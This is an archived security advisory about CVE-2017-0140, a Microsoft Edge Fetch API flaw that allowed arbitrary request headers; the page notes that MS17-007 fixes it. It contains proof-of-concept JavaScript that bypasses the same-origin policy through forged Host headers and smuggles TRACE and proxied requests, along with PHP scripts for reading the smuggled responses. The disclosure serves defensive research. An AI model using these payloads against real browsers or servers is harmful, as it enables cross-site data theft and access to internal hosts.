what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Edge Fetch API Arbitrary Header Setting

Microsoft Edge Fetch API Arbitrary Header Setting
Posted Mar 14, 2017
Authored by Securify B.V.

It was found that the Fetch API in Microsoft Edge allows websites to set arbitrary HTTP request headers, including the Content-Length, and Host headers. Amongst others, a malicious website can use this issue to bypass the same origin policy, read HTTP response headers, or initiate arbitrary HTTP requests from the victim's browser (HTTP request smuggling).

tags | exploit, web, arbitrary
advisories | CVE-2017-0140
SHA-256 | 7ea35a8a06080eee5024f0b3b4e9bbcc165e5e2914c82abb99135ab97e6e12f7

Microsoft Edge Fetch API Arbitrary Header Setting

Change Mirror Download
------------------------------------------------------------------------
Microsoft Edge Fetch API allows setting of arbitrary request headers
------------------------------------------------------------------------
Yorick Koster, January 2017

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was found that the Fetch API in Microsoft Edge allows websites to set
arbitrary HTTP request headers, including the Content-Length, and Host
headers. Amongst others, a malicious website can use this issue to
bypass the same origin policy, read HTTP response headers, or initiate
arbitrary HTTP requests from the victim's browser (HTTP request
smuggling).

------------------------------------------------------------------------
See also
------------------------------------------------------------------------
- CVE-2017-0140
- MS17-007: Cumulative Security Update for Microsoft Edge (4013071)

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Microsoft Edge version
38.14393.0.0 (EdgeHTML 14.14393).

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
Microsoft released MS17-007 that fixes this vulnerability.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://www.securify.nl/advisory/SFY20170101/microsoft_edge_fetch_api_allows_setting_of_arbitrary_request_headers.html

The Fetch API is exposed in the global window scope, and uses promises to handle the results. Promises can be chained together if needed. A simple Fetch request looks something like this:

fetch('/restapi/')
.then(function(response) {
response.json().then(function(data) {
console.log(data);
});
})
.catch(function(err) {
console.log('Error :', err);
});

The first argument of the fetch() method can be an URL or Request object. The second argument is optional and contains custom settings that apply to the request, including the HTTP method, HTTP request headers, HTTP request body, and the mode (same-origin, cors, no-cors, or navigate).

Both Google Chrome and Firefox restrict which HTTP request headers can be set using Fetch. It was found that Microsoft Edge accepts practically any HTTP request header, including the Content-Length, and Host headers.
Same origin policy bypass

Because Microsoft Edge allows arbitrary Host headers to be set, it is possible to bypass the same origin policy if multiple virtual hosts are running on the same IP address. An attack that has control of a website running as one virtual host can read the contents of websites of other virtual hots by setting the Host header to the DNS name of the other virtual hosts. The following proof of concept demonstrates this issue:

var headers = new Headers();
headers.append('Host', '<target virtual host>');
fetch('/', {headers: headers})
.then(function(response) {
response.text().then(function(text) {
console.log(text);
});
})
.catch(function(err) {
console.log('Error :', err);
});

Another possible attack scenario would be if a web application responds differently depending on the value of the Host header. For example, some applications return debugging information when the Host header is set to localhost. This could be useful for an attacker when it is combined with a Cross-Site Scripting vulnerability.
HTTP request smuggling

Since it is possible to set an arbitrary Content-Length header, an attacker could use this issue to perform an HTTP request smuggling attack. This can be done by doing a POST request with the Content-Length set to zero and the body containing another (forged) HTTP request. Since an attacker controls the HTTP body, this second request is not restricted in any way. For example, it is possible to perform a TRACE request, which is normally blocked by the browser.

var headers = new Headers();
headers.append('Content-Length', '0');
var body = 'TRACE / HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n';
fetch('/', {method: 'POST',
headers: headers,
body: body})
.then(function(response) {
response.text().then(function(text) {
console.log(text);
});
})
.catch(function(err) {
console.log('Error :', err);
});

This example will create a HTTP request similar to the one below. Due to the Content-Length header being set to zero, the Fetch request is interpreted as two HTTP requests.

POST / HTTP/1.1
Accept: */*
content-length: 0
content-type: text/plain;charset=UTF-8
Origin: <http://origin>
Referer: <http://origin/referer>
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
Host: <origin>
DNT: 1
Connection: Keep-Alive

TRACE / HTTP/1.1
Host: localhost
Connection: close

If the target user is behind a HTTP proxy server, it is even possible to make requests to arbitrary websites. In this case the attacker is not restricted the availability of virtual hosts. For example:

var headers = new Headers();
headers.append('Content-Length', '0');
var body = 'GET https://www.securify.nl/ HTTP/1.1\r\nHost: www.securify.nl\r\nConnection: close\r\n\r\n';
fetch('/', {method: 'POST',
headers: headers,
body: body})
.then(function(response) {
response.text().then(function(text) {
console.log(text);
});
})
.catch(function(err) {
console.log('Error :', err);
});
Reading HTTP response headers

When performing an HTTP request smuggling attack using the Fetch API, it is in most cases not possible to read the response of the second HTTP request. This is because fetch() only expects one HTTP response to be returned. In some cases it is possible to read the second response - including its HTTP headers - if an attacker can somehow manage to prematurely end the first response.

If the first response contains an (overly) long Content-Length header with a smaller body or the response is part of an incomplete chunked encoded response, it is possible to trick the Fetch API into thinking that the second response is part of the first response's HTTP body. This behavior can be simulated using the following PHP scripts:

<?php
apache_setenv('no-gzip', '1');
ob_end_clean();
ignore_user_abort();
ob_start();
header("Content-Length: 1000000");
ob_end_flush();
flush();
exit;
?>

<?php
header('Transfer-Encoding: chunked');
echo '1000000\r\n';
exit;
?>


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    13 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    27 Files
  • 30
    Jul 30th
    49 Files
  • 31
    Jul 31st
    29 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close